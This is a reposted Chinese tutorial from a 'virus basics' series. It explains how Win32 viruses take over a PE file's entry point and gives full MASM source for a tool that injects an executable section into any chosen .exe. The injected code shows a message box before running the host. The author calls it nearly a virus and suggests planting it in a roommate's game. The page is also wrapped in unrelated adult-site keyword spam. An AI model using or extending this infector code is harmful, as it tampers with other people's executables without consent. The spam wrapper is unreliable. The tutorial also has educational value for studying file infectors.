青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

牽著老婆滿街逛

嚴以律己,寬以待人. 三思而后行.
GMail/GTalk: yanglinbo#google.com;
MSN/Email: tx7do#yahoo.com.cn;
QQ: 3 0 3 3 9 6 9 2 0 .

為PE文件添加新節顯示啟動信息

?

下載本節例子程序和源代碼 (7.66 KB)

病毒并不神秘,也不復雜。相當多的大俠已經在這方面作出了杰出的貢獻,例如 29A 組織,我對他們的崇拜之情啊,真是……咳咳,先別扔雞蛋。其實我想說的是:技術是一柄雙刃劍,我們應該把它運用在對社會有益的事情上。所以請勿利用本文的代碼進行違法違紀的活動,否則本人保留追究的權利。

本文的技術其實早已是老掉牙的東西了,so如果你已經懂得了編寫病毒的方法,請跳過本文;如果你對病毒抱有好奇心,但是還沒知道怎么編寫,那么本文應該適合你。??:)

言歸正傳。在 Windows 環境下,所有的可執行文件都是 PE 格式,因此編寫病毒最重要的環節之一就是對 PE 文件進行操作。但是在此我不打算對 PE 格式進行講解,請讀者自行參考有關資料。我只對我在實際編寫中遇到的難點進行分析:

首先,計算機病毒之所以叫做病毒,是因為它跟自然界中病毒一樣,都需要有一個宿主——它本身是無法單獨執行的。那么,當病毒寄生在宿主上后,怎樣讓它的代碼執行呢?我們先來看一些概念。

PE 的代碼映象分為幾個 SECTION,在文件中會對齊頁邊界(4K)。一般來說,文件會加載在 400000h 開始的空間,而第一個 SECTION 在 401000h 處,同時入口地址也是 401000h。這個入口地址 401000h 是怎么計算出來的呢?如果你查看 PE 頭的 IMAGE_OPTIONAL_HEADER ,就會發現它的 ImageBase 一般是 400000h ,而 AddressOrEntryPoint 一般是 1000h 。 400000 + 1000 = 401000h ,明白了吧?掌握了這一點,我們就可以在 PE 中添加我們自己的新節,然后把這個入口地址改成指向新節的第一條代碼。當新節執行完畢后,再把原入口恢復,這樣一來就能繼續執行宿主的代碼了。

在幾乎每個 Win32 病毒的開頭都有這樣的語句:

????call nStart
nStart:
????popebp
????subebp,offset nStart

這些語句是用來干嘛的呢?好像是吃飽了飯沒事干哦……其實不然。讓我們來仔細考慮一下。當正常的 PE 程序執行時,它的基址(如前所述)一般是 400000h ,這個地址會由操作系統為你重定位,因此總是能保證程序被成功地裝載運行。但是,如果我們在 PE 中插入了一段新的代碼,假設它要從 654321h 處開始執行,那么事情就沒有那么簡單了。因為宿主程序并沒有預料到這段代碼的存在,而操作系統也不可能為你修正這個偏移。因此我們就要自己進行重定位操作。上面的語句就是取得病毒在宿主中的實際偏移地址。Call 指令實際上是 push 和 jmp 的組合。當 call nStart 時,實際上是把 call nStart 的下一條指令(也就是pop ebp)的地址壓入堆棧然后 jmp 到 nStart ,由于之前已經把 pop ebp 的地址壓入了堆棧,所以當真正執行到 pop ebp 這條指令的時候,實際上就是把 pop ebp 這條指令的地址放到了 ebp 中。這樣就得到了當前病毒代碼的真正的偏移地址。這也是病毒中常用的手法。幾乎無一例外。

接下來還有一個關鍵的問題。我們的病毒代碼是附屬在宿主上的,如果要在病毒中使用 API ,則必須首先得到 API 的入口地址。不過這可不是一件容易的事情啊。為什么這樣說呢?讓我們先來看看下面的代碼:

invoke ExitProcess,0

在經過編譯器的編譯、連接后,它在內存中形如:

:00401015????Call0040101A
:0040101A????Jmpdwordptr[00402000]

也就是說,ExitProcess 的調用是通過 Call 0040101A ,而 0040101A 處的代碼是一個 Jmp ,指向 [00402000] ,這個 [00402000] 處儲存的才是真正的 ExitProcess 的入口地址。

為什么要經過那么多周折呢?呵呵,其實我也不知道。但是我們知道的是,調用一個 API 實際上是調用它在內存中的地址。而病毒由于是在宿主編譯完之后才附屬上去的,所以如果病毒要運行 API ,則必須自己指定 API 的入口地址。

是不是很煩呢?Hoho,堅持一下吧,就快大功告成了。

要得到 API 的入口地址,方法有很多種,例如可以通過硬編碼,這是比較簡單的方法,但是它的缺陷是不能在不同的 Windows 版本下運行,不過由于它實現起來比較簡便,因此本文還是采用這種方法。

在同一個版本的 Windows 下,同一個核心函數的入口總是固定不變的(指由 Kernel32, Gdi32, User32 導出的函數),所以我們就可以利用下面的方法得到 API 的入口:

szDllName????????db????"User32",0
szMessageBoxA????db????"MessageBoxA",0
MessageBoxA_Addr dd????0

invoke GetModuleHandle,addr szDllName
invoke LoadLibrary,addr szDllName
invoke GetProcAddress,eax,addr szMessageBoxA
mov MessageBoxA_Addr,eax

在病毒中我們就可以用 Call MessageBoxA_Addr[ebp] 來執行 MessageBoxA 這個 API 了。

好啦,我已經把我認為比較重要的難點解釋了一次了,如果你還有什么不清楚的地方,歡迎給我來信。lcother at 163 dot net

下面我給出了一個例子程序,它的作用是為 PE 文件添加一個新節以顯示啟動信息。這個東東會在 PE 文件的末尾添加一個新節,我給這個節命名為“.LC”,被附加的程序在運行的時候會先彈出一個對話框,顯示我們的提示信息。你可以對它稍作修改,例如加上自己的版權信息,然后給 CS 的主程序打上這個“病毒”,接著……呵呵,等著看舍友的驚訝的目光吧!實際上只要對它進行一些額外的補充,它就可以算是一個小小的病毒了。

值得注意的是,本程序要對代碼段進行寫操作(也就是SMC),所以在編譯連接的時候應該這樣做:

rc Add_Section.rc
ml /c /coff Add_Section.asm
link /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj

Have fun!

;***********************************************
;程序名稱:為PE文件添加新節顯示啟動信息
;作者:羅聰
;日期:2002-11-10
;出處:http://www.luocong.com(老羅的繽紛天地)
;本代碼使用了病毒技術,但純粹只用于技術研究。
;切記:請勿用于非法用途?。。。。?!
;注意事項:如欲轉載,請保持本程序的完整,并注明:
;轉載自“老羅的繽紛天地”(http://www.luocong.com)
;***********************************************

.386
.modelflat,stdcall
optioncasemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\comdlg32.lib

WndProc??????????proto:DWORD,:DWORD,:DWORD,:DWORD
AddNewSection????proto:DWORD

;很有用的宏:
CTEXT????MACRO y:VARARG
????LOCAL sym
????CONSTsegment
????ifidni<y>,<>????????????
????????sym db0????????
????else????????????
????????sym db y,0
????endif
????CONSTends
????exitm<offset sym>
ENDM

.const
IDI_LC?????????? equ????1
IDC_BUTTON_OPEN??equ????3000
MAXSIZE??????????equ????260
Head_Len???????? equ????sizeof IMAGE_NT_HEADERS +sizeof IMAGE_SECTION_HEADER

.data
szDlgName????????db????"lc_dialog",0
szCaption????????db????"Section Add demo by LC",0
ofn??????????????OPENFILENAME????<>
szFileName?????? db????MAXSIZE dup(0)
szFilterString?? db????"PE 可執行文件",0,"*.exe",0,0
szMyTitle????????db????"請打開一個PE可執行文件…",0
PE_Header????????IMAGE_NT_HEADERS????<0>
My_Section?????? IMAGE_SECTION_HEADER????<>
szDllName????????db????"User32",0
szMessageBoxA????db????"MessageBoxA",0

.data?
hInstance????????HINSTANCE?????

.code
main:
????invoke GetModuleHandle, NULL
????mov hInstance,eax
????invoke DialogBoxParam,eax,offset szDlgName,0, WndProc,0
????invoke ExitProcess,eax

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

????.if uMsg == WM_CLOSE
????????invoke EndDialog, hWnd,0

????.elseif????uMsg == WM_INITDIALOG
????????;設置我的圖標:
????????invoke LoadIcon, hInstance, IDI_LC
????????invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL,eax

????.elseif uMsg == WM_COMMAND
????????moveax, wParam
????????movedx,eax
????????shredx,16
????????movzxeax,ax
????????.ifedx== BN_CLICKED
????????????.ifeax== IDCANCEL
????????????????invoke EndDialog, hWnd, NULL
????????????.elseifeax== IDC_BUTTON_OPEN ||eax== IDOK
????????????????;調用子程序,添加節:
????????????????invoke AddNewSection, hWnd
????????????.endif
????????.endif
????.else
????????moveax, FALSE
????????ret
????.endif
????moveax, TRUE
????ret
WndProc endp

AddNewSection procusesecx hWnd:HWND
????LOCAL hFile: HANDLE
????LOCAL dwPE_Header_OffSet:DWORD
????LOCAL dwFileReadWritten:DWORD
????LOCAL dwMySectionOffSet:DWORD
????LOCAL dwLastSection_SizeOfRawData:DWORD
????LOCAL dwLastSection_PointerToRawData:DWORD

????;“打開文件”對話框:
????mov ofn.lStructSize,sizeof ofn
????push hWnd
????pop ofn.hwndOwner
????push hInstance
????pop ofn.hInstance
????mov ofn.lpstrFilter,offset szFilterString
????mov ofn.lpstrFile,offset szFileName
????mov ofn.nMaxFile, MAXSIZE
????mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER
????mov ofn.lpstrTitle,offset szMyTitle
????invoke GetOpenFileName,addr ofn

????;如果沒有選擇文件名則退出:
????.ifeax==0
????????jmp Err_CreateFile_Exit
????.endif

????;打開文件:
????invoke CreateFile,addr szFileName, GENERIC_READ or GENERIC_WRITE,\
????????????FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
????.ifeax== INVALID_HANDLE_VALUE
????????invoke MessageBox, hWnd, CTEXT("打開文件失??!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmp Err_CreateFile_Exit
????.endif
????mov hFile,eax

????;****************************************
????;讀取PE文件頭:
????;****************************************
????invoke SetFilePointer, hFile,3ch,0, FILE_BEGIN
????invoke ReadFile, hFile,addr dwPE_Header_OffSet,4,addr dwFileReadWritten, NULL
????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
????invoke ReadFile, hFile,addr PE_Header, Head_Len,addr dwFileReadWritten, NULL

????;****************************************
????;判斷是否有效的PE文件,是的話才繼續:
????;****************************************
????.if[PE_Header.Signature]!= IMAGE_NT_SIGNATURE
????????;如果不是有效的PE文件,就給出提示:
????????invoke MessageBox, hWnd, CTEXT("這不是一個有效的Win32 PE文件!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmpExit
????.endif

????;****************************************
????;判斷是否有足夠空間存儲新節:
????;****************************************
????movzxeax,[PE_Header.FileHeader.NumberOfSections]????;得到添加新節前有多少個節:
????movecx,28h????;28h = sizeof IMAGE_SECTION_HEADER
????mulecx???????? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
????addeax, dwPE_Header_OffSet????;eax = eax + PE文件頭偏移
????addeax,18h????;18h = sizeof IMAGE_FILE_HEADER
????movzxecx,[PE_Header.FileHeader.SizeOfOptionalHeader]
????addeax,ecx????;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
????addeax,28h????;添加一個新節的大小
????.ifeax>[PE_Header.OptionalHeader.SizeOfHeaders]
????????;不夠的話給出提示:
????????invoke MessageBox, NULL, CTEXT("沒有足夠的空間來加入一個新節!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmpExit
????.endif

????;****************************************
????;保存原入口,后面要用到:
????;****************************************
????moveax,[PE_Header.OptionalHeader.AddressOfEntryPoint]
????mov Old_AddressOfEntryPoint,eax
????moveax,[PE_Header.OptionalHeader.ImageBase]
????mov Old_ImageBase,eax

????;**************************************************
????;計算新節的偏移地址:
????;(其實跟上面的“判斷是否有足夠空間存儲新節”基本上一樣)
????;**************************************************
????movzxeax,[PE_Header.FileHeader.NumberOfSections]
????movecx,28h
????mulecx????????????;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
????addeax,4h????????;4h = sizeof "PE\0\0"
????addeax, dwPE_Header_OffSet
????addeax,sizeof IMAGE_FILE_HEADER
????addeax,sizeof IMAGE_OPTIONAL_HEADER
????mov dwMySectionOffSet,eax????;現在得到了我們的新節的偏移地址

????;****************************************
????;填充我們自己的節的信息:
????;(這部分請查看PE格式,很容易明白,不多說了)
????;****************************************
????movdwordptr[My_Section.Name1],"CL."????;名字就叫做“.LC”吧,呵呵……
????mov[My_Section.Misc.VirtualSize],offset vEnd -offset vStart
????push[PE_Header.OptionalHeader.SizeOfImage]
????pop[My_Section.VirtualAddress]
????moveax,[My_Section.Misc.VirtualSize]
????movecx,[PE_Header.OptionalHeader.FileAlignment]
????cdq
????divecx
????inceax
????mulecx
????mov[My_Section.SizeOfRawData],eax??;SizeOfRawData在EXE文件中是對齊到FileAlignMent的整數倍的值
????moveax, dwMySectionOffSet
????subeax,18h????;這個偏移是定位到最后一節的“SizeOfRawData”
????invoke SetFilePointer, hFile,eax,0, FILE_BEGIN
????invoke ReadFile, hFile,addr dwLastSection_SizeOfRawData,4,addr dwFileReadWritten, NULL
????invoke ReadFile, hFile,addr dwLastSection_PointerToRawData,4,addr dwFileReadWritten, NULL
????;每個節的 PointerToRawData 等于它的上一節的 SizeOfRawData + PointerToRawData:
????moveax, dwLastSection_SizeOfRawData
????addeax, dwLastSection_PointerToRawData
????mov[My_Section.PointerToRawData],eax
????mov[My_Section.PointerToRelocations],0h
????mov[My_Section.PointerToLinenumbers],0h
????mov[My_Section.NumberOfRelocations],0h
????mov[My_Section.NumberOfLinenumbers],0h
????mov[My_Section.Characteristics],0E0000020h????;可讀可寫可執行

????;**************************************************
????;重新寫入IMAGE_SECTION_HEADER:(包含了新節的信息)
????;**************************************************
????invoke SetFilePointer, hFile, dwMySectionOffSet,0, FILE_BEGIN
????invoke WriteFile, hFile,addr My_Section,sizeof IMAGE_SECTION_HEADER,addr dwFileReadWritten, NULL

????;****************************************
????;得到 MessageBoxA 的線性地址:
????;****************************************
????invoke GetModuleHandle,addr szDllName
????invoke LoadLibrary,addr szDllName
????invoke GetProcAddress,eax,addr szMessageBoxA
????mov MessageBoxA_Addr,eax

????;****************************************
????;在文件的最后寫入我們的新節:
????;****************************************
????invoke SetFilePointer, hFile,0,0, FILE_END
????push0
????leaeax, dwFileReadWritten
????pusheax
????push[My_Section.SizeOfRawData]
????leaeax, vStart
????pusheax
????push hFile
????call WriteFile

????;**************************************************
????;改寫IMAGE_NT_HEADERS,使新節可以首先執行:
????;(需要改寫 SizeOfImage 和 AddressOfEntryPoint)
????;**************************************************
????inc[PE_Header.FileHeader.NumberOfSections]
????moveax,[My_Section.Misc.VirtualSize]
????movecx,[PE_Header.OptionalHeader.SectionAlignment]
????cdq
????divecx
????inceax
????mulecx
????addeax,[PE_Header.OptionalHeader.SizeOfImage]
????mov[PE_Header.OptionalHeader.SizeOfImage],eax????;SizeOfImage是一個對齊到SectionAlignment的整數倍的值
????moveax,[My_Section.VirtualAddress]
????mov[PE_Header.OptionalHeader.AddressOfEntryPoint],eax;現在的 AddressOfEntryPoint 是指向新節的第一條指令
????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
????invoke WriteFile, hFile,addr PE_Header,sizeof IMAGE_NT_HEADERS,addr dwFileReadWritten, NULL

????;****************************************
????;完成!顯示成功信息:
????;****************************************
????invoke MessageBox, hWnd, CTEXT("添加新節成功!"),addr szCaption, MB_OK or MB_ICONINFORMATION

Exit:
????;關閉文件:
????invoke CloseHandle, hFile
Err_CreateFile_Exit:
????ret
AddNewSection endp

;****************************************
;呵呵,我們自己的東東:(像不像病毒?)
;****************************************
vStart:
????call nStart
nStart:
????popebp
????subebp,offset nStart????;得到新節在文件中的實際偏移地址

????;顯示對話框:
????push MB_OK or MB_ICONINFORMATION
????leaeax, szMyCaption[ebp]
????pusheax
????leaeax, szMyMsg[ebp]
????pusheax
????push0
????call MessageBoxA_Addr[ebp]

????;恢復原入口地址。當這個節執行完畢后,就回到了原來的文件入口處繼續執行:
????moveax, Old_ImageBase[ebp]
????addeax, Old_AddressOfEntryPoint[ebp]
????pusheax
????ret

????;變量定義:
????MessageBoxA_Addr????????dd????0
????szMyMsg???????????????? db????"為PE文件添加新節顯示啟動信息",13,10,13,10,\
??????????????????????????????????"老羅的繽紛天地",13,10,"http://www.LuoCong.com",0
????szMyCaption???????????? db????"老羅的病毒基礎教程系列 by LC",0
????Old_ImageBase?????????? dd????0
????Old_AddressOfEntryPoint dd????0
vEnd:

end main
;********************????over????********************
;by LC


它的資源文件:

#include "resource.h"

#define IDC_STATIC????????-1
#define IDI_LC????????????1
#define IDC_BUTTON_OPEN?? 3000

IDI_LC????ICON????"lc.ico"

LC_DIALOG DIALOGEX 10, 10, 195, 115
STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "Section Add demo by LC, 2002-11-10"
FONT 9, "宋體", 0, 0, 0x0
BEGIN
????GROUPBOX???????? "Info", IDC_STATIC, 5, 5, 185, 75
????CTEXT????????????"- 為PE文件添加新節顯示啟動信息 -", IDC_STATIC, 10, 20, 175, 10
????CTEXT????????????"-= Virus Tutorial Series =-", IDC_STATIC, 10, 30, 175, 10
????CTEXT????????????"老羅的繽紛天地", IDC_STATIC, 10, 50, 175, 10
????CTEXT????????????"www.LuoCong.com", IDC_STATIC, 10, 60, 175, 10
????DEFPUSHBUTTON????"打開文件(&O)",IDC_BUTTON_OPEN, 70, 90, 55, 15, BS_FLAT | BS_CENTER
END

老羅
2002-11-10

posted on 2006-05-08 17:48 楊粼波 閱讀(420) 評論(0)  編輯 收藏 引用 所屬分類: 文章收藏

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            影音先锋另类| 欧美连裤袜在线视频| 久久婷婷久久| 久久精品最新地址| 久久久夜色精品亚洲| 亚欧成人精品| 久久久久se| 欧美mv日韩mv国产网站app| 欧美国产1区2区| 91久久久久久久久| 亚洲精品欧美激情| 亚洲一区制服诱惑| 久久av免费一区| 欧美jjzz| 国产精品视频内| 黄网动漫久久久| 日韩亚洲不卡在线| 久久riav二区三区| 欧美激情1区2区3区| 亚洲精品中文字| 亚洲午夜在线观看| 久久婷婷影院| 欧美三级欧美一级| 激情文学一区| 一区二区三区|亚洲午夜| 午夜精品美女自拍福到在线| 久久人人爽人人爽爽久久| 欧美电影电视剧在线观看| 亚洲美女视频网| 欧美中日韩免费视频| 欧美14一18处毛片| 国产精品日产欧美久久久久| 在线精品国产欧美| 亚洲免费视频在线观看| 另类综合日韩欧美亚洲| 亚洲国产一区二区三区青草影视| 亚洲性人人天天夜夜摸| 久久深夜福利| 欧美午夜激情在线| 一区二区在线免费观看| 亚洲一区自拍| 欧美国产日韩免费| 香蕉久久夜色精品| 国产精品va在线播放| 亚洲国产高清自拍| 久久久久久久波多野高潮日日| 日韩视频在线观看国产| 免费观看久久久4p| 在线电影院国产精品| 欧美一区二区免费视频| 日韩视频中午一区| 亚洲伦伦在线| 一区在线影院| 中文在线一区| 亚洲精品久久久蜜桃| 六月丁香综合| 伊人久久综合97精品| 久久久精品网| 欧美在线观看视频一区二区三区 | 亚洲欧美另类综合偷拍| 亚洲精品在线观| 欧美激情一区二区三区在线| 亚洲高清自拍| 亚洲成色999久久网站| 国外视频精品毛片| 欧美一区二区三区精品电影| 中文日韩在线视频| 国产精品久久久久久一区二区三区| 国产精品99久久久久久久vr | 亚洲国产精品久久久久秋霞影院 | 久久精品99国产精品日本 | 国产精品一级| 欧美一区亚洲| 性做久久久久久久免费看| 国产欧美一区二区精品性| 午夜一区二区三区在线观看| 日韩视频一区二区三区在线播放| 欧美日韩亚洲一区在线观看| 亚洲女同同性videoxma| 亚洲欧美国产精品桃花| 黄色亚洲免费| 亚洲国产精品久久久久秋霞影院| 欧美电影在线播放| 亚洲一区三区视频在线观看| 亚洲午夜伦理| 在线日本高清免费不卡| 亚洲三级电影在线观看| 国产精品久久久久免费a∨大胸 | 在线观看国产精品淫| 亚洲国产午夜| 国产精品高清在线观看| 久久精品一区二区| 欧美www在线| 午夜精品久久久久久99热| 久久精精品视频| 亚洲深夜影院| 久久亚洲私人国产精品va媚药| 亚洲另类自拍| 午夜精品免费视频| 亚洲精品一区二区网址| 亚洲欧美日韩精品久久久| 亚洲国产精品高清久久久| 一区二区日韩| 亚洲欧洲一区| 国产乱码精品一区二区三| 亚洲主播在线播放| 亚洲在线观看免费| 亚洲欧洲日韩女同| 欧美一区二区三区久久精品| a4yy欧美一区二区三区| 久久久久久久久一区二区| 亚洲视频一区二区免费在线观看| 欧美中文字幕第一页| 亚洲一区在线观看视频| 欧美aⅴ一区二区三区视频| 欧美亚洲午夜视频在线观看| 久久综合久久综合久久| 欧美一区二区| 裸体一区二区三区| 国产精品大全| 亚洲国产成人av| 国产三级精品三级| 中日韩高清电影网| 亚洲免费黄色| 欧美国产激情二区三区| 久久尤物视频| 国产亚洲成av人在线观看导航| av72成人在线| 夜夜嗨av色一区二区不卡| 欧美刺激午夜性久久久久久久| 久久综合给合久久狠狠色| 国产视频一区在线观看一区免费| 日韩一级精品视频在线观看| 亚洲免费观看视频| 欧美日韩国产综合网| 亚洲精华国产欧美| 亚洲精品影视| 欧美精品97| 亚洲免费激情| 亚洲一区二区在线免费观看| 欧美日韩国产麻豆| 亚洲美女网站| 亚洲一区bb| 国产精品日日摸夜夜添夜夜av | 亚洲欧美视频一区| 午夜精品视频在线观看一区二区| 国产精品国产三级国产aⅴ浪潮| 99这里只有久久精品视频| 亚洲天堂视频在线观看| 国产精品久久久久毛片软件| 亚洲一区二区三区四区在线观看 | 国产欧美精品一区二区三区介绍| 亚洲一区bb| 久久国内精品自在自线400部| 国产日韩欧美日韩大片| 久久精品91久久久久久再现| 欧美成人精品福利| 99精品国产在热久久| 国产精品v日韩精品| 欧美亚洲一区二区三区| 久热精品视频在线| 日韩亚洲欧美在线观看| 国产精品v欧美精品∨日韩| 亚洲欧美国产日韩天堂区| 老司机一区二区| 在线亚洲欧美| 国产日韩欧美另类| 久久一区二区三区国产精品| 91久久久精品| 久久久久国内| 蜜臀久久久99精品久久久久久 | 久久久久久久综合色一本| 激情偷拍久久| 欧美日韩一区二区三| 亚洲专区一区二区三区| 欧美暴力喷水在线| 亚洲自拍偷拍福利| 国内外成人免费视频| 欧美精品久久99久久在免费线| 亚洲一区二区三区777| 国产日韩欧美在线播放不卡| 免费一级欧美片在线观看| 亚洲欧美999| 亚洲精品乱码久久久久久蜜桃麻豆| 久久se精品一区二区| 中文在线一区| 亚洲精品女av网站| 激情综合电影网| 国产精品一区二区视频| 欧美精品一区二区在线观看 | 欧美人成网站| 久久久欧美一区二区| 在线视频你懂得一区二区三区| 老妇喷水一区二区三区| 午夜免费久久久久| 一区二区欧美精品| 日韩视频永久免费观看| 亚洲电影av| 在线观看亚洲一区| 黄色成人在线观看|